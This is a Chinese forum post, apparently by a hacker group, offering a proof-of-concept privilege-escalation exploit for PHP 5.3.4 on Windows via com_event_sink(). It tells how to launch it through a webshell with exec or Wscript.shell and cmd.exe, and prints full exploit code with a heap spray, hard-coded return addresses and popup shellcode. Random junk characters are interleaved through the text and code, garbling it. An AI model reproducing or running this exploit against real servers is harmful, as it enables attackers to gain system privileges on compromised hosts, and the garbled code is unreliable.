|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
; }/ h( D. Q# w# N
8 N2 u9 r' o% ]测试方法如下:cmd /c x:\php\php.exe x:\test.php8 u9 L5 F3 w" A- ] J
) P8 q9 O+ y0 \2 u' m/ q: i下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php/ A7 _) ] L1 ^& r+ G2 c& b% t
这里是两个测试的截图:
! j1 R* J* f0 g/ |* ~# _# ]3 M8 y( g. E: f) U
% g+ `7 { `( z
! Y# O0 ~6 s" u5 C2 d
, g, ^. W7 }& W/ l. b
9 S5 x2 V% m7 c; f成功利用此漏洞的攻击者将获得系统的最高权限
0 e, J8 G) e. v. N. s0 d* c* g
) G. n( t8 n7 _0 H; t+ {. S, O9 U
9 I1 C& J$ A0 U* N' U- m0 N* {% m7 \! }' K9 A
; L: f7 k5 J8 e& ~3 K
% r5 Y( i& L5 F
关于漏洞分析稍后附上。一下是PoC代码:
, F0 d4 ^! X/ @; g( j
2 q A0 r! J8 ?5 g7 z5 ]<?php
4 r b* f$ \4 ~3 J0 W" H. f5 ^//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞/ g/ S; n+ k7 [. O1 M1 A- S
//$eip ="\x44\x43\x42\x41";+ e- a. O b$ M1 j" f) |
$eip= "\x4b\xe8\x57\x78";
, h6 U- T, _, r" @2 D$eax ="\x80\x01\x8d\x04";! i/ I }- ?. b$ z7 t0 C e) P$ o! n! p
$deodrant="";- S+ n t( k" u& X) _
$axespray = str_repeat($eip.$eax,0x80);; x5 ?, r9 f4 m. Y0 [0 s
//048d0190
?5 u0 g8 Z! q" `1 ]echo strlen($axespray);4 X6 k4 d8 W; P2 F" e, ]. V
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
( c; A( T& A! Y& ]echo "Silic Group Hacker Army - BlackBap.Org";/ C4 w2 k. g& H3 h5 {8 f
//19200 ==4B32 4b00
3 @4 B4 Y. K& jfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}/ T0 N# n8 ~" _' d/ I) c% t: n- g
$terminate = "T";
0 u9 m- P; c( C, Z; F9 t# }$u[] =$deodrant;+ u5 Q; p g9 l m: N/ }& V
$r[] =$deodrant.$terminate;
9 \, Z8 b, `, K3 V1 |$a[] =$deodrant.$terminate;& b; u6 L0 q+ v) \& h
$s[] =$deodrant.$terminate;% k" ^3 _! f" g6 s
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的- v; f5 O; B& j. c0 u0 k
$vVar = new VARIANT(0x048d0000+180);# X) r5 y3 w1 q3 s4 c# I
//弹窗代码(Shellcode)
, L8 l* _* \6 k. q" k) K& s6 Q; J$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
! m, ~- X+ q( }, X, @$var2 = new VARIANT(0x41414242);
. A, S2 E- ?/ ^( ~$ k% Vcom_event_sink($vVar,$var2,$buffer);" ~, n5 [! y6 t/ |! s, J; t0 b
?>
9 P& ?3 ?1 } S) o$ Q2 x |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|